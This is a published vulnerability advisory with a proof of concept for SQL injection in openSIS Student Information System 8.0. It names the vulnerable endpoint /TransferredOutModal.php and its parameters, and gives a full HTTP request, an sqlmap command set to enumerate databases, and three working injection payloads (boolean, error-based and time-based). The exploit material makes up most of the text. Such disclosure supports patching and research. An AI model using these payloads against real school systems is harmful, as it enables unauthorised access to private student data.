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openSIS Student Information System 8.0 - 'multiple' SQL Injection

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# Exploit Title: openSIS Student Information System 8.0 - 'multiple' SQL Injection
# Date: 26/12/2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://opensis.com
# Software Link: https://opensis.com
# Version: 8.0 Community Edition
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

A SQL injection vulnerability exists in OS4Ed Open Source Information System Community v8.0 via the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to /TransferredOutModal.php.

The vulnerability is found in the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to page /TransferredOutModal.php.

Example:

POST /TransferredOutModal.php?modfunc=detail

Post Data: student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
Host: localhost
User-Agent: user-agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: cookie
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5

Example sqlmap Command: sqlmap.py -r request.txt --level 5 --risk 3 -p student_id --random-agent --dbs

Example Payloads:

Payload1: student_id=(SELECT (CASE WHEN (2108=2108) THEN 1 ELSE (SELECT 5728 UNION SELECT 5943) END))&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
Payload2: student_id=1 AND (SELECT 5604 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(5604=5604,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
Payload3: student_id=1 AND (SELECT 6111 FROM (SELECT(SLEEP(5)))JtuC)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5


ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.

In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.

We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools

'''
            
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